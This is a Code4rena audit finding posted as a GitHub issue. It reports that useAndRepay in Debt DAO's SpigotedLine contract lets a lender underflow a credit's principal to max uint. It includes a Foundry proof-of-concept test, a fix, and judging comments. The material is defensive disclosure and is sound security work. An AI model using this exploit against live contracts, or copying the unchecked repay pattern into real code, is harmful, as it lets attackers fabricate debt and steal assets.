Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

useAndRepay function can be used to underflow the principal debt of a credit #336

Closed
code423n4 opened this issue Nov 10, 2022 · 3 comments
Closed
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-461 satisfactory Finding meets requirement

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/audit/code4rena-2022-11-03/contracts/modules/credit/SpigotedLine.sol#L146

Vulnerability details

The function useAndRepay present in the SpigotedLine contract doesn't check that the amount is within the debt limit and can be used by a malicious lender to underflow the principal variable and manipulate the debt of a credit.

Impact

A malicious lender can use the useAndRepay function to underflow the principal variable of the Credit struct by sending an amount that is greater to the limit of the debt (principal + interests accrued). Once underflowed, this will represent artificial debt generated in the credit.

This is possible because the function doesn't check that the amount is within debt limit, and also because the function CreditLib.repay uses unchecked math for its calculations, assuming the calling function does the proper checks.

This can be used by a bad actor to manipulate the principal amount of his credit and artificially generate debt.

PoC

In the following test, the lender pays off the debt using revenue coming from the Spigot by calculating the sum of principal and interest accrued and offsetting that amount by 1 token more to trigger the conditions. This will underflow the credit and set the principal to max uint.

Note: the context for this test (setup, variables and helper functions) is similar to the one found in the file SpigotedLine.t.sol.

function test_useAndRepay_overflowDeposit() public {
    // Borrow
    _borrow(line.ids(0), lentAmount);
    
    // Trade revenue for credit 
    uint256 claimable = spigot.getEscrowed(address(revenueToken));        // console.log(claimable);

    bytes memory tradeData = abi.encodeWithSignature(
        'trade(address,address,uint256,uint256)',
        address(revenueToken),
        address(creditToken),
        claimable,
        lentAmount * 2
    );

    vm.prank(borrower);
    line.claimAndTrade(address(revenueToken), tradeData);
    
    // Time passes to generate some debt
    vm.warp(block.timestamp + 30 days);
    line.updateOutstandingDebt();
    
    bytes32 id = CreditLib.computeId(address(line), lender, address(creditToken));
    
    // Lender calls useAndRepay with an amount that exceeds the debt
    (, uint256 principal, uint256 interestAccrued,,,,)  = line.credits(id);
    uint256 amount = principal + interestAccrued + 1;
    vm.prank(lender);
    line.useAndRepay(amount);
    
    // BOOM! principal was overflowed! Now the borrower owes near infinite money 
    (, uint256 principalAfter,,,,,)  = line.credits(id);
    console.log("Principal", principalAfter);
    assertEq(principalAfter, type(uint256).max);
}

Recommendation

Validate the amount param in the useAndRepay function is within the limits of the debt (amount <= credit.principal + credit.interestAccrued).

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 10, 2022
code423n4 added a commit that referenced this issue Nov 10, 2022
@c4-judge
Copy link
Contributor

dmvt marked the issue as duplicate of #82

@c4-judge c4-judge added the satisfactory Finding meets requirement label Dec 6, 2022
@c4-judge
Copy link
Contributor

c4-judge commented Dec 6, 2022

dmvt marked the issue as satisfactory

@C4-Staff
Copy link
Contributor

liveactionllama marked the issue as duplicate of #461

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-461 satisfactory Finding meets requirement
Projects
None yet
Development

No branches or pull requests

3 participants